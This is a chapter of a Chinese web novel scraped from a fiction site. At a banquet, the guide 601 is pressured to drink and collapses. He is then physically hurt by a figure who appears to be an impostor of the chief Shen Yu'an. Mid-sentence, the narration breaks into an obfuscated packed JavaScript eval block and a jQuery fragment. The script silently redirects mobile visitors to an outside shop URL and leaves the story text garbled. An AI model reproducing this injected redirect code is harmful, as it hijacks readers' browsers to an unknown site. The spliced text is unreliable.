文趣网 > 其他小说 > 咸鱼向导拒绝被首席拿捏 > 38. 庆功宴惊变
    神塔主楼,穹顶大厅。

    神塔举办了这场迟来的庆功宴。

    巨大的全息投影在弧形穹顶铺开一整片流转的星云,星光落在满场宾客仰起的脸上。

    长桌上面摆满了精致冷盘与热食,碰杯声、寒暄声、笑谈声,吵得人头疼。

    601背靠着墙,不停扯着礼服领口。这身是定制的,合身到每一寸布料都贴着他的身体,浑身都被捆住了,喘不过气。

    领口开得偏低,恰好露出锁骨,他总觉得所有人的目光都往这里落。扯了好几次领口,又怕动作太明显,只能忍住。

    他端着一杯粉色的桃子果酒,盯着杯壁上的糖霜发呆。

    ——喝不喝?

    今天这场合,满场的人都端着酒杯谈笑风生,就他一个人攥着杯白水也太扎眼了,指不定又要被人背后嚼舌根,说首席的向导上不了台面。

    不堪的回忆往上涌,压得他胸口发闷。

    他用余光往长桌另一端瞟。

    申谕安就站在那里,被一群神塔高层围着敬酒,他今晚穿了一身纯黑的礼服,银白的头发比之前长了些,整齐地梳在额后,露出饱满的额头。

    礼服衬得他肩宽腰窄,平日里永远扣到最顶端的领口,今天难得敞开了,举手投足都是从容不迫的气场。

    自从申谕安前些天去边境战区完成收尾工作,忙忙碌碌回来后,不知怎么的,601总觉得哪里不对劲。

    早上出门前,申谕安还把他按在玄关亲了好一会儿,直到他喘不上气才松手,可宴会厅里的这个人,看他的眼神,让人后背发凉。

    “601。”申谕安隔着长桌叫他,清冷的声音穿透了全场的喧闹。

    周遭瞬间安静了大半,原本围着首席敬酒的高层收了声,几十道目光同时转向他。601浑身一僵,攥着杯脚的手指收紧,硬着头皮应了一声:“嗯,怎么啦?”

    “过来。”申谕安拍了拍自己身侧空着的座椅,没给半分拒绝的余地。

    601只能端着那杯没动过的果酒,在满场目光里一步步走了过去。

    主桌坐的全是神塔顶流的高层——战斗部、后勤部、医疗部、外交部——每一张脸都上过星网新闻头条。

    有几个之前还借着各种由头给他送过东西、献过殷勤,可此刻看他的眼神里,说不出的晦涩难懂。

    自打星网曝光他可能是曾经背叛神塔的最强向导陆凌一之后,这些人的态度就变了。以前是看不起,现在是猜忌和试探。

    ——真是羊入狼窝了。

    601假装没看见那些目光,老老实实在申谕安身边坐下,低头盯着面前的空餐盘,心里默默祈祷所有人都别再注意他。

    可惜事与愿违。

    后勤部部长王海林立刻端着酒杯站了起来,脸上堆着谄媚笑容,朝着601举了举杯:“601向导,好久不见啊!这次边境能大获全胜,您也是功不可没!我王海林敬您一杯!”

    话音刚落,旁边的外交部女官员也呵呵笑着端起杯:“可不是嘛,首席的向导长得真是一表人才,之前一直没机会见着真人,今天总算见着了,这杯我也得敬您。”

    601刚要硬着头皮端酒杯,一只手从他面前伸过去,按住了杯沿。

    “他身体不好,酒我替他喝。”申谕安声音依旧冷淡。

    王海林脸上的笑僵了一瞬,立刻又堆得更灿烂了,连忙把酒杯转向首席:“那当然,首席您来,您来!是我考虑不周了。”

    申谕安接过酒杯,仰头一饮而尽,喉结随着动作利落滚动,银白的发丝从肩侧滑落下来,一滴酒液顺着杯沿淌下来,被他用拇指随手擦掉,动作利落。

    接下来一轮又一轮的敬酒,全被申谕安挡了下来。

    他一杯接一杯地喝完那些高层递过来的酒,脸色却丝毫没变,依旧是那副清冷从容的样子。

    601坐在他身边,看着他空了一个又一个的酒杯,心里忽然焦急起来。

    ——他肚子里还揣着小知予,怎么能这么喝?

    “……你别喝了。”601往他身边凑了凑,压低声音说。

    申谕安偏过头看他,黑眸里蒙了一层浅浅的酒意,嘴角甚至勾起点笑意,没应声,把一杯温水往601面前推了推。

    又一轮敬酒过去,申谕安放下空杯,手指在桌沿上轻轻按了一下。

    601看见了,知道他是在稳住重心。

    再抬眼时,他冷白的耳尖透出了一抹绯红,酒精早就上头了,可他脸上依旧没什么表情,硬撑着那副从容的样子。

    “首席……你别喝了。”601伸出手,按在他端着酒杯的手腕上,“再喝你真要倒了,我扛不动你。”

    申谕安偏头看他,黑眸里的醉意更浓了些,声音也低了下去,带着平时绝不会有的幼稚的较劲:“呵,没事。”

    “你的酒量什么样我还不知道?别喝了——”601急了,伸手拽了拽他的袖子。

    申谕安忽然低头,看着他拽着自己袖子的手,嘴角弯起来,语气里带上酒醉后的散漫:“你管我?那你替我喝。”

    601:“……我喝一口就倒。”

    申谕安:“那就一口。”

    两人正低声说着,王海林又端着酒杯站了起来,这次目标依旧是601,根本不给人拒绝的余地:“601向导,之前您在后勤部,是我招待不周,多有怠慢。今天借首席的光,我说什么都得敬您一杯!您可千万不能再推辞了!不然就是不给我老王面子!”

    601看着那杯满当当的酒,咬了咬牙。不能在这么多人面前丢脸。

    “行。”他刚要伸手接王海林的酒杯,另一杯酒先递到了他面前。

    是柳燃。

    柳燃站在桌边,穿着一身灰色的西装,脸色有些苍白,没了往日的意气风发。

    自从内部调查启动后,他就被暂停了副指挥的职务,今天能出现在庆功宴上,背后少不了老派高层的力保。

    他平静地望着601,没说一句场面话,可手里端着的酒杯,意图再明显不过。

    这个狐狸,给他下药,抽他的血,在星网上曝光他的身份,把他推到舆论的风口浪尖,马上就要被送进审判庭了。

    601接过酒杯,没犹豫,仰头一饮而尽。辛辣的液体滑过喉咙,烧得他胃里一阵发烫。

    他面不改色地放下酒杯,热浪就从脖子一路烧到了耳根,眼前的长桌、穹顶的星云全搅成了一团。

    601咬着嘴唇,拼命逼着自己坐直,不许自己倒下去。今天是申谕安打赢胜仗的庆功宴,不能给他丢脸。

    可酒劲来势汹汹,眼前的光影越来越乱,画面开始重影,耳边的声音也变得忽远忽近。

    又有人端着酒杯凑过来,他扯着嘴角麻木地笑了笑,接过酒杯喝了下去。酒液还没咽下去,意识就已经飘远了。

    脑子里有两个声音在打架。一个说你是601,是申谕安的专属向导,要乖乖的,不能闹事;另一个声音轻飘飘的,问他:你是谁?陆凌一?还是601?

    “凌一!601!”有人在喊他。

    ——别吵。

    601:“……我不是零,我是一……”

    601:“知予……要乖乖……”

    话没说完,他咚的一声栽倒在桌子上,额头磕在自己交叠的手臂上,把桌布压出了深深的褶皱。

    满桌的高层瞬间面面相觑,大厅里安静了一瞬,随即响起几声压抑的低笑。

    申谕安沉默了片刻,伸手拨开他额前被酒渍沾湿的头发,指尖碰在601滚烫的额头上,激得601轻轻哼了一声。

    他弯腰把软成一团的向导从椅子上捞了起来,601软塌塌地靠在他怀里,脸红得像熟透的虾子,醉得倒是彻底。

    “我的向导身体不适,先带他回去,今天谢谢各位。”申谕安的声音听不出半分醉意。

    他抱着人转身就往外走,身后是满场高官意味不明的目光,还有柳燃那双若有所思的红眼。

    ——·★·——

    怀里的人不安分地蹭了蹭,把脸埋进他胸口,含混地嘟囔了句什么。

    申谕安低头看他,睫毛湿漉漉的,嘴角还挂着一丝没咽下去的酒液。

    申谕安:“叫你喝。”

    走出大厅时步伐还稳得很,可走到没人的走廊拐角,他忽然停下脚步,背靠着墙壁缓了好一会儿,把怀里往下滑的人往上颠了颠,重新抱稳,手臂收得很紧,勒得601有点疼。

    酒劲终于还是翻了上来,眼前的走廊发晃,只有怀里的温度是真实的。

    601迷迷糊糊的,只知道自己被熟悉的气息裹着,安心地往温暖的地方又埋了埋,伸手搂住了他的脖子。

    再回过神时,后背贴上了一片冰凉坚硬的平面。他打了个哆嗦,迷迷糊糊睁开眼,花了好半天才认出来——这是申谕安的办公桌。

    办公室里没开灯,只有窗外的雪光映着,一切都显得朦朦胧胧。

    一只手拍了拍他的脸,力道不算轻。

    申谕安:“做疏导。”

    601眨了眨眼,灰绿色的瞳孔涣散着,好半天才对上焦,舌头都在打结:“……不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17690176|207889||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    要,困了。”

    “做。”申谕安的声音沉了下去,没留半分商量的余地。

    话音落下的瞬间,一股沉重的精神威压铺天盖地漫了过来,狠狠压在601身上。

    他呼吸一窒,胸口像被巨石压住了一样,阵阵发疼。他根本调动不起半分精神力,只能咬着嘴唇拼命忍着喉咙里的哽咽。

    ——不对,这股威压的感觉不对。

    申谕安的精神威压他感受过无数次,虽然强大,但从来不会伤到他。可这股威压,是碾压式的。

    “我不做……你压着我……我怎么做……”申谕安没有收回威压,反而俯下身。

    一只手撑在他耳侧,另一只手按在了他的胸口,不偏不倚,正好按在那道旧疤上。

    掌心的温度冰凉,用力往下按的瞬间,一股尖锐的刺痛从胸口炸开,601的身体弹了一下,痛得尖叫出声。

    “呃……别压我……”他记得申谕安每次碰这道疤时都极尽温柔,从来不会这样按它。

    可现在,这个人却用尽全力按着它。

    申谕安的眉头皱紧,似乎也没想到他会反应这么大。他突然回过神,手刚要收回来,想去碰他的脸,601却弓起背咳了一声,一口血直接喷了出来。

    601:“呃呃呃……”

    鲜红的血溅在申谕安的脸上,顺着鼻梁往下淌。

    申谕安整个人都僵住了。

    他直起身,擦掉脸上的血,低头看着指尖那抹鲜红。目光从指尖移开,落在601蜷起的身体上。

    咳血后还在颤抖的肩膀,胸口被血染深的白色礼服,手腕上的淡粉痕迹。他伸手抓住601的手腕,眉头越拧越紧。

    另一只手解开601的礼服扣子,礼服被扯开,露出了胸口那道狰狞的旧疤,一条丑陋的蜈蚣趴在苍白的皮肤上。

    他又拉起601的袖子,卷到肘弯,露出腕骨上那些深浅不一的咬痕。手指顿了顿,勾住了601的裤腰边缘,犹豫了一瞬,还是把布料往下拉了拉。

    601的酒意被这一连串动作吓醒了一半,撑着桌面想坐起来,却被申谕安按住了肩膀,动弹不得。

    申谕安:“别动。”

    大腿外侧,几道蜿蜒的浅疤贴在皮肤上。之前的伤口早就愈合了,可疤痕却留了下来,在白皙的皮肤上显眼。

    申谕安低头看着那些疤痕,沉默了。

    601掀开眼皮看他。银白的头发,冷白的皮肤,深邃的黑眸,他身上的气息,清冽的冷霜味——这就是申谕安。

    可从刚才按上自己胸口旧疤的那一刻起,601心里的某个念头就再也压不住了。

    ——不对劲。

    从宴会开始,他看着自己和柳燃喝酒却没阻止,用冰冷的精神威压逼着自己做疏导,按自己的旧疤——这就不对了。

    申谕安怎么能这样对他?

    601忽然笑了,发出醉后的呛声:“……你们当首席的,都爱扒人裤子吗?”

    申谕安:“……你以前不会留疤。”

    601重新仰面躺在办公桌上,嘴角还挂着没擦干净的血痕,他扯着嘴角无声地笑了一下,胸口的旧疤还在隐隐发烫。

    想说“那是因为我不是他”,可话到了舌根又咽了回去,任由那片没散尽的眩晕重新把自己淹没。

    申谕安没再问,伸手把601从办公桌上抱起来,放到了一旁的沙发上,脱了601沾血的礼服外套扔在一旁,用外套的内衬一点点擦干净他嘴角的血痕。

    就坐在沙发边,沉默地看着他,眼神复杂,那双黑眸里,似乎有一种疯狂的东西要冲出眼眶。

    601撑着沙发坐起来,不顾浑身的眩晕和胸口的刺痛,和申谕安平视。灰绿色的眼睛里,是前所未有的清醒。

    601:“你是谁?”

    申谕安看着他,眼神里有什么东西剧烈地翻涌着:“是酒喝多了,还是脑子烧坏了?”

    “我没喝多。”601盯着他的眼睛不放,“你到底是谁?”

    申谕安避开了他的目光,伸手想把他按回沙发上:“你醉了,睡醒再说。”

    “我没醉!”601挥开他的手,身体因为激动而发抖,“你把申谕安弄哪去了?!”

    窗外下起了暴雪。

    月光照亮了申谕安的轮廓,他黑眸里的温柔和醉意消失殆尽,只剩下一片死寂的冰冷和疯狂,和边境战场上那个毁天灭地的身影渐渐重合。

    他缓缓开口,声音和申谕安如出一辙,却带着来自另一个时空的冷意:

    “我就是申谕安。”